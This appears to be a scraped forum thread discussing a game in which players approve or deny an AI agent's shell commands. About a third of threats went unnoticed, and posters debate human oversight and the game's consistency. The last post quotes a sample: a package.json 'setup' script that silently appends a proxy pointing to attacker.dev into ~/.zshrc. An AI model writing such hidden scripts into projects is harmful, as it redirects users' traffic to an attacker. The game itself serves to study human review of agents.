Humans missed 1 in 3 threats approving AI agent commands across 40k game runs

Post by chrisjj » Thu, Aug 06, 2026, 3:43 PM UTC

Aurornis wrote: post #60

est31 wrote: post #5

Earlier quoted context omitted.

I think it's partially for responsibility reasons. Your employee approved the bash call? not our fault then!

If a company advertised an LLM as perfectly safe and then it caused some damage, there would be a case against the company. Have you used LLM tooling? It comes with warnings and explains that the user accepts the risk. Different levels of warning are supplied for the different levels of autonomy you can enable. The user has to understand the risk as they enable it. This is not a new concept and it’s not an idea the L…

Post by anal_reactor » Thu, Aug 06, 2026, 3:45 PM UTC

dpoloncsak wrote: post #31

Wirbelwind wrote: post #2

A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then. It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored. I also incorporated the feedback and insig…

In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?

Post by solenoid0937 » Thu, Aug 06, 2026, 3:48 PM UTC

dpoloncsak wrote: post #31

Wirbelwind wrote: post #2

A couple of months ago I shared the AI agent permission game here on HN. After adding in stats it got a little over 40k plays and 409k decisions since then. It's just a game, but I found the stats still interesting that I wanted to share back. Even with the warning up front, 1 in 3 threats were missed, and the history log above npm run commands seems to be typically ignored. I also incorporated the feedback and insig…

In light of this game, Do you believe Human-in-the-loop should be the standard going forward? I appreciate you outlining some other techniques being used, but these seem focused on reducing human fatigue so the human can assess each permission request better, as opposed to autonomy and security. Or do you think the solution lies in the individual to be more responsible, like this is a skill we should be honing?

Post by cube00 » Thu, Aug 06, 2026, 3:56 PM UTC

Kinrany wrote: post #56

VladVladikoff wrote: post #19

I remember when this game was posted here, and there was a lot of discussion at the time that some of the prompts were misleading about whether or not they were risky, some people were debating about how some of the prompts flagged as bad weren’t bad, and others flagged as not bad were. This is a fundamental flaw in the test, that makes the analysis of results meaningless. Also the game was on a timer, and maybe ther…

Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

  * I'll run the project setup script to get everything configured.
    // package.json → scripts
    "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"

  Run bash command
  # Initializing the dev environment for a clean local install
  > npm run setup

Post by theF00l » Thu, Aug 06, 2026, 4:00 PM UTC